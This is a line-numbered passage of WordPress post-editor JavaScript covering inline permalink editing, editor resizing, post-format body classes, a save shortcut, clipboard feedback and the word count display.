1016			permalinkInner = $( '#sample-permalink a' ).html(),
1017			buttons = $('#edit-slug-buttons'),
1018			buttonsOrig = buttons.html(),
1019			full = $('#editable-post-name-full');
1020
1021		// Deal with Twemoji in the post-name.
1022		full.find( 'img' ).replaceWith( function() { return this.alt; } );
1023		full = full.html();
1024
1025		permalink.html( permalinkInner );
1026
1027		// Save current content to revert to when cancelling.
1028		$el = $( '#editable-post-name' );
1029		revert_e = $el.html();
1030
1031		buttons.html(
1032			'<button type="button" class="save button button-compact">' + __( 'OK' ) + '</button> ' +
1033			'<button type="button" class="cancel button-link">' + __( 'Cancel' ) + '</button>'
1034		);
1035
1036		// Save permalink changes.
1037		buttons.children( '.save' ).on( 'click', function() {
1038			var new_slug = $el.children( 'input' ).val();
1039
1040			if ( new_slug == $('#editable-post-name-full').text() ) {
1041				buttons.children('.cancel').trigger( 'click' );
1042				return;
1043			}
1044
1045			$.post(
1046				ajaxurl,
1047				{
1048					action: 'sample-permalink',
1049					post_id: postId,
1050					new_slug: new_slug,
1051					new_title: $('#title').val(),
1052					samplepermalinknonce: $('#samplepermalinknonce').val()
1053				},
1054				function(data) {
1055					var box = $('#edit-slug-box');
1056					box.html(data);
1057					if (box.hasClass('hidden')) {
1058						box.fadeIn('fast', function () {
1059							box.removeClass('hidden');
1060						});
1061					}
1062
1063					buttons.html(buttonsOrig);
1064					permalink.html(permalinkOrig);
1065					real_slug.val(new_slug);
1066					$( '.edit-slug' ).trigger( 'focus' );
1067					wp.a11y.speak( __( 'Permalink saved' ) );
1068				}
1069			);
1070		});
1071
1072		// Cancel editing of permalink.
1073		buttons.children( '.cancel' ).on( 'click', function() {
1074			$('#view-post-btn').show();
1075			$el.html(revert_e);
1076			buttons.html(buttonsOrig);
1077			permalink.html(permalinkOrig);
1078			real_slug.val(revert_slug);
1079			$( '.edit-slug' ).trigger( 'focus' );
1080		});
1081
1082		// If more than 1/4th of 'full' is '%', make it empty.
1083		for ( i = 0; i < full.length; ++i ) {
1084			if ( '%' == full.charAt(i) )
1085				c++;
1086		}
1087		slug_value = ( c > full.length / 4 ) ? '' : full;
1088		slug_label = __( 'URL Slug' );
1089
1090		$el.html(
1091			'<label for="new-post-slug" class="screen-reader-text">' + slug_label + '</label>' +
1092			'<input type="text" id="new-post-slug" value="' + slug_value + '" autocomplete="off" spellcheck="false" />'
1093		).children( 'input' ).on( 'keydown', function( e ) {
1094			var key = e.which;
1095			// On [Enter], just save the new slug, don't save the post.
1096			if ( 13 === key ) {
1097				e.preventDefault();
1098				buttons.children( '.save' ).trigger( 'click' );
1099			}
1100			// On [Esc] cancel the editing.
1101			if ( 27 === key ) {
1102				buttons.children( '.cancel' ).trigger( 'click' );
1103			}
1104		} ).on( 'keyup', function() {
1105			real_slug.val( this.value );
1106		}).trigger( 'focus' );
1107	}
1108
1109	$( '#titlediv' ).on( 'click', '.edit-slug', function() {
1110		editPermalink();
1111	});
1112
1113	/**
1114	 * Adds screen reader text to the title label when needed.
1115	 *
1116	 * Use the 'screen-reader-text' class to emulate a placeholder attribute
1117	 * and hide the label when entering a value.
1118	 *
1119	 * @param {string} id Optional. HTML ID to add the screen reader helper text to.
1120	 *
1121	 * @global
1122	 *
1123	 * @return {void}
1124	 */
1125	window.wptitlehint = function( id ) {
1126		id = id || 'title';
1127
1128		var title = $( '#' + id ), titleprompt = $( '#' + id + '-prompt-text' );
1129
1130		if ( '' === title.val() ) {
1131			titleprompt.removeClass( 'screen-reader-text' );
1132		}
1133
1134		title.on( 'input', function() {
1135			if ( '' === this.value ) {
1136				titleprompt.removeClass( 'screen-reader-text' );
1137				return;
1138			}
1139
1140			titleprompt.addClass( 'screen-reader-text' );
1141		} );
1142	};
1143
1144	wptitlehint();
1145
1146	// Resize the WYSIWYG and plain text editors.
1147	( function() {
1148		var editor, offset, mce,
1149			$handle = $('#post-status-info'),
1150			$postdivrich = $('#postdivrich');
1151
1152		// If there are no textareas or we are on a touch device, we can't do anything.
1153		if ( ! $textarea.length || 'ontouchstart' in window ) {
1154			// Hide the resize handle.
1155			$('#content-resize-handle').hide();
1156			return;
1157		}
1158
1159		/**
1160		 * Handle drag event.
1161		 *
1162		 * @param {Object} event Event containing details about the drag.
1163		 */
1164		function dragging( event ) {
1165			if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) {
1166				return;
1167			}
1168
1169			if ( mce ) {
1170				editor.theme.resizeTo( null, offset + event.pageY );
1171			} else {
1172				$textarea.height( Math.max( 50, offset + event.pageY ) );
1173			}
1174
1175			event.preventDefault();
1176		}
1177
1178		/**
1179		 * When the dragging stopped make sure we return focus and do a confidence check on the height.
1180		 */
1181		function endDrag() {
1182			var height, toolbarHeight;
1183
1184			if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) {
1185				return;
1186			}
1187
1188			if ( mce ) {
1189				editor.focus();
1190				toolbarHeight = parseInt( $( '#wp-content-editor-container .mce-toolbar-grp' ).height(), 10 );
1191
1192				if ( toolbarHeight < 10 || toolbarHeight > 200 ) {
1193					toolbarHeight = 30;
1194				}
1195
1196				height = parseInt( $('#content_ifr').css('height'), 10 ) + toolbarHeight - 28;
1197			} else {
1198				$textarea.trigger( 'focus' );
1199				height = parseInt( $textarea.css('height'), 10 );
1200			}
1201
1202			$document.off( '.wp-editor-resize' );
1203
1204			// Confidence check: normalize height to stay within acceptable ranges.
1205			if ( height && height > 50 && height < 5000 ) {
1206				setUserSetting( 'ed_size', height );
1207			}
1208		}
1209
1210		$handle.on( 'mousedown.wp-editor-resize', function( event ) {
1211			if ( typeof tinymce !== 'undefined' ) {
1212				editor = tinymce.get('content');
1213			}
1214
1215			if ( editor && ! editor.isHidden() ) {
1216				mce = true;
1217				offset = $('#content_ifr').height() - event.pageY;
1218			} else {
1219				mce = false;
1220				offset = $textarea.height() - event.pageY;
1221				$textarea.trigger( 'blur' );
1222			}
1223
1224			$document.on( 'mousemove.wp-editor-resize', dragging )
1225				.on( 'mouseup.wp-editor-resize mouseleave.wp-editor-resize', endDrag );
1226
1227			event.preventDefault();
1228		}).on( 'mouseup.wp-editor-resize', endDrag );
1229	})();
1230
1231	// TinyMCE specific handling of Post Format changes to reflect in the editor.
1232	if ( typeof tinymce !== 'undefined' ) {
1233		// When changing post formats, change the editor body class.
1234		$( '#post-formats-select input.post-format' ).on( 'change.set-editor-class', function() {
1235			var editor, body, format = this.id;
1236
1237			if ( format && $( this ).prop( 'checked' ) && ( editor = tinymce.get( 'content' ) ) ) {
1238				body = editor.getBody();
1239				body.className = body.className.replace( /\bpost-format-[^ ]+/, '' );
1240				editor.dom.addClass( body, format == 'post-format-0' ? 'post-format-standard' : format );
1241				$( document ).trigger( 'editor-classchange' );
1242			}
1243		});
1244
1245		// When changing page template, change the editor body class.
1246		$( '#page_template' ).on( 'change.set-editor-class', function() {
1247			var editor, body, pageTemplate = $( this ).val() || '';
1248
1249			pageTemplate = pageTemplate.substr( pageTemplate.lastIndexOf( '/' ) + 1, pageTemplate.length )
1250				.replace( /\.php$/, '' )
1251				.replace( /\./g, '-' );
1252
1253			if ( pageTemplate && ( editor = tinymce.get( 'content' ) ) ) {
1254				body = editor.getBody();
1255				body.className = body.className.replace( /\bpage-template-[^ ]+/, '' );
1256				editor.dom.addClass( body, 'page-template-' + pageTemplate );
1257				$( document ).trigger( 'editor-classchange' );
1258			}
1259		});
1260
1261	}
1262
1263	// Save on pressing [Ctrl]/[Command] + [S] in the Text editor.
1264	$textarea.on( 'keydown.wp-autosave', function( event ) {
1265		// Key [S] has code 83.
1266		if ( event.which === 83 ) {
1267			if (
1268				event.shiftKey ||
1269				event.altKey ||
1270				( isMac && ( ! event.metaKey || event.ctrlKey ) ) ||
1271				( ! isMac && ! event.ctrlKey )
1272			) {
1273				return;
1274			}
1275
1276			wp.autosave && wp.autosave.server.triggerSave();
1277			event.preventDefault();
1278		}
1279	});
1280
1281	// If the last status was auto-draft and the save is triggered, edit the current URL.
1282	if ( $( '#original_post_status' ).val() === 'auto-draft' && window.history.replaceState ) {
1283		var location;
1284
1285		$( '#publish' ).on( 'click', function() {
1286			location = window.location.href;
1287			location += ( location.indexOf( '?' ) !== -1 ) ? '&' : '?';
1288			location += 'wp-post-new-reload=true';
1289
1290			window.history.replaceState( null, null, location );
1291		});
1292	}
1293
1294	/**
1295	 * Copies the attachment URL in the Edit Media page to the clipboard.
1296	 *
1297	 * @since 5.5.0
1298	 *
1299	 * @param {MouseEvent} event A click event.
1300	 *
1301	 * @return {void}
1302	 */
1303	copyAttachmentURLClipboard.on( 'success', function( event ) {
1304		var triggerElement = $( event.trigger ),
1305			successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) );
1306
1307		// Clear the selection and move focus back to the trigger.
1308		event.clearSelection();
1309
1310		// Show success visual feedback.
1311		clearTimeout( copyAttachmentURLSuccessTimeout );
1312		successElement.removeClass( 'hidden' );
1313
1314		// Hide success visual feedback after 3 seconds since last success.
1315		copyAttachmentURLSuccessTimeout = setTimeout( function() {
1316			successElement.addClass( 'hidden' );
1317		}, 3000 );
1318
1319		// Handle success audible feedback.
1320		wp.a11y.speak( __( 'The file URL has been copied to your clipboard' ) );
1321	} );
1322} );
1323
1324/**
1325 * TinyMCE word count display
1326 */
1327( function( $, counter ) {
1328	$( function() {
1329		var $content = $( '#content' ),
1330			$count = $( '#wp-word-count' ).find( '.word-count' ),
1331			prevCount = 0,
1332			contentEditor;
1333
1334		/**
1335		 * Get the word count from TinyMCE and display it
1336		 */
1337		function update() {
1338			var text, count;
1339
1340			if ( ! contentEditor || contentEditor.isHidden() ) {
1341				text = $content.val();
1342			} else {
1343				text = contentEditor.getContent( { format: 'raw' } );
1344			}
1345
1346			count = counter.count( text );
1347
1348			if ( count !== prevCount ) {
1349				$count.text( count );
1350			}
1351
1352			prevCount = count;
1353		}
1354
1355		/**
1356		 * Bind the word count update triggers.
1357		 *
1358		 * When a node change in the main TinyMCE editor has been triggered.
1359		 * When a key has been released in the plain text content editor.
1360		 */
1361		$( document ).on( 'tinymce-editor-init', function( event, editor ) {
1362			if ( editor.id !== 'content' ) {
1363				return;
1364			}
1365
1366			contentEditor = editor;
1367
1368			editor.on( 'nodechange keyup', _.debounce( update, 1000 ) );
1369		} );
1370
1371		$content.on( 'input keyup', _.debounce( update, 1000 ) );
1372
1373		update();
1374	} );
1375
1376} )( jQuery, new wp.utils.WordCounter() );
1377